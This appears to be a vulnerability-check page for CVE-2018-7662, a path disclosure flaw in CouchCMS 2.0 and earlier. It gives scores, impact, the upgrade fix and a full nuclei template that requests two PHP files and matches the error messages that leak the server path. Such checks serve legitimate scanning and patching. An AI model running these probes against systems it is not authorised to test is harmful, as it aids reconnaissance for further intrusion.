CouchCMS <= 2.0 - Path Disclosure

mediumseverity

5.3CVSS score

47.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php.

Impact

An attacker can exploit this vulnerability to gain knowledge of the server's directory structure, potentially aiding in further attacks.

Fix

Upgrade to the latest version of CouchCMS (2.1 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/includes/mysql2i/mysql2i.func.php ; GET {{BaseURL}}/addons/phpmailer/phpmailer.php
Positive when: contains "mysql2i.func.php on line 10" and "Fatal error: Cannot redeclare mysql_affected_rows() in" OR contains "phpmailer.php on line 10" and "Fatal error: Call to a menber function add_event_listener()…"

Run it with nuclei: nuclei -id CVE-2018-7662 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-7662

info:
  name: CouchCMS <= 2.0 - Path Disclosure
  author: ritikchaddha
  severity: medium
  description: CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php.
  impact: |
    An attacker can exploit this vulnerability to gain knowledge of the server's directory structure, potentially aiding in further attacks.
  remediation: |
    Upgrade to the latest version of CouchCMS (2.1 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/CouchCMS/CouchCMS/issues/46
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7662
    - https://github.com/20142995/Goby
    - https://github.com/5ecurity/CVE-List
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-7662
    cwe-id: CWE-200
    epss-score: 0.47085
    epss-percentile: 0.98843
    cpe: cpe:2.3:a:couchcms:couch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: couchcms
    product: couch
  tags: cve2018,cve,couchcms,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/includes/mysql2i/mysql2i.func.php"
      - "{{BaseURL}}/addons/phpmailer/phpmailer.php"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "mysql2i.func.php on line 10"
          - "Fatal error: Cannot redeclare mysql_affected_rows() in"
        condition: and

      - type: word
        part: body
        words:
          - "phpmailer.php on line 10"
          - "Fatal error: Call to a menber function add_event_listener() on a non-object in"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from